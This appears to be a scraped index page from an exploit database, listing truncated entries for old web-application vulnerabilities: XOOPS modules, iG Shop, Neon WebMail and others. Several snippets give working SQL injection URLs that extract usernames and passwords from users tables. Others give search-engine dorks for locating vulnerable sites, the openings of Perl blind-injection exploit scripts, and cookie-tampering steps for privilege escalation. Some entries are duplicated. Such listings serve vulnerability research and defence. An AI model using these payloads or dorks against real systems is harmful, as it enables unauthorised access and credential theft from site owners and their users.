XOOPS Module MyConference 1.0 - 'index.php' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module MyConference 1.0 index.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/myconference/" S.Page : http://dev.xoops.org/modules/xfmod/project/?groupid=1072 $$ : Free .. : ajann,Turkey use IO::Socket;...

XOOPS Module MyConference 1.0 - index.php SQL Injection

XOOPS Module MyConference 1.0 - index.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module MyConference 1.0 index.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/myconference/" S.Page :...

W1L3D4-sql.txt

Discovered by: gsy & kerem125 Website: www.kerem125.com script download:http://www.aspindir.com/indir2.asp?id=4891&sIslem=%DDndir exploit:/W1L3D4bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users...

iG Shop 1.4 - 'page.php' SQL Injection

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

iG Shop 1.4 - page.php SQL Injection

iG Shop 1.4 - page.php SQL Injection Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

CVE-2007-2590

The CVE-2007-2590 entry affects Nokia Intellisync Mobile Suite versions 6.4.31.2, 6.6.0.107, and 6.6.2.2, with possible involvement of Novell Groupwise Mobile Server and Nokia Intellisync Wireless Email Express. Affected component/pages are the direct requests to usrmgr/userList.asp and usrmgr/us...

Nuked-klaN 1.7.6 Remote Code Execution Exploit

No description provided by source. ?php Nuked-klaN 1.7.6 Remote Code Execution Exploit ------------------------------------------------ Author: DarkFig [email protected] Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file...

CVE-2007-2017

siteadmin/useredit.php in AlstraSoft Video Share Enterprise does not check authentication, which allows remote attackers to obtain or modify user information via a direct request...

XOOPS Module Zmagazine 1.0 - print.php SQL Injection

XOOPS Module Zmagazine 1.0 - print.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module Zmagazine 1.0 print.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/zmagazine/" Result:20.800 Example S. :...

Online Web Building 2.0 - id SQL Injection

Online Web Building 2.0 - id SQL Injection ---------------------------------------------------------------------- Online Web Building v2.0 id Remote SQL Injection ----------------------------------------------------------------------- Bulan: xoron...

Enthrallweb eCoupons 1.0 - 'myprofile.asp' Remote Pass Change

PASSWORD: Change Profile UserName= FIRST: LAST: tr va...

Enthrallweb eClassifieds 1.0 - Remote User Pass Change

Change Profile=Username FIRST: LAST: td align="right" nowrap class="...

SimpleBlog <= 2.3 (admin/edit.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : simpleblog = v 2.3 /admin/edit.asp Remote SQL Injection Vulnerability Author : bolivar Dork : "SimpleBlog 2.3 by 8pixel.net" ---------------------------------------------------------------------------...

ASP-Nuke Community 1.5 - Cookie Privilege Escalation

ASP-Nuke Community 1.5 - Cookie Privilege Escalation Title : ASP-Nuke Community Find cookie informations. Change Informations= Cookie Informations: ASPNUKE14%5Fpseudoname , pseudoname = "Welcome USERNAME" see for ASPNUKE14%5Fpseudo , pseudo = Login UserName ASPNUKE14%5Fpseudoid , pseudoid = UserI...

NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= NuSchool 1.0 CampusNewsDetails.asp Remote SQL Injection Exploit ================================================================= !/usr/bin/perl Script Name: NuSchool 1.0...

CVE-2006-4954

The updateuser servlet in Neon WebMail for Java before 5.08 does not validate the inid parameter, which allows remote attackers to modify information of arbitrary users, as demonstrated by modifying 1 passwords and 2 permissions, 3 viewing profile settings, and 4 creating and 5 deleting users...

CVE-2006-4954

The updateuser servlet in Neon WebMail for Java before 5.08 does not validate the inid parameter, which allows remote attackers to modify information of arbitrary users, as demonstrated by modifying 1 passwords and 2 permissions, 3 viewing profile settings, and 4 creating and 5 deleting users...

CVE-2006-4954

The CVE relates to the updateuser servlet in Neon WebMail for Java prior to 5.08, which does not validate the in_id parameter. This vulnerability allows remote attackers to modify information of arbitrary users (e.g., passwords, permissions, profile settings, and creating/deleting users). The iss...

NeoSys Neon Webmail for Java 5.065.07 - updateuser?in_id Servlet Arbitrary User Information Modification

NeoSys Neon Webmail for Java 5.065.07 - updateuser?inid Servlet Arbitrary User Information Modification source: https://www.securityfocus.com/bid/20109/info Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include: -...

NeoSys Neon Webmail for Java 5.06/5.07 - 'updateuser?in_id' Servlet Arbitrary User Information Modification

source: https://www.securityfocus.com/bid/20109/info Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include: - an arbitrary-file-upload vulnerability - an arbitrary-email-manipulation vulnerability - multiple...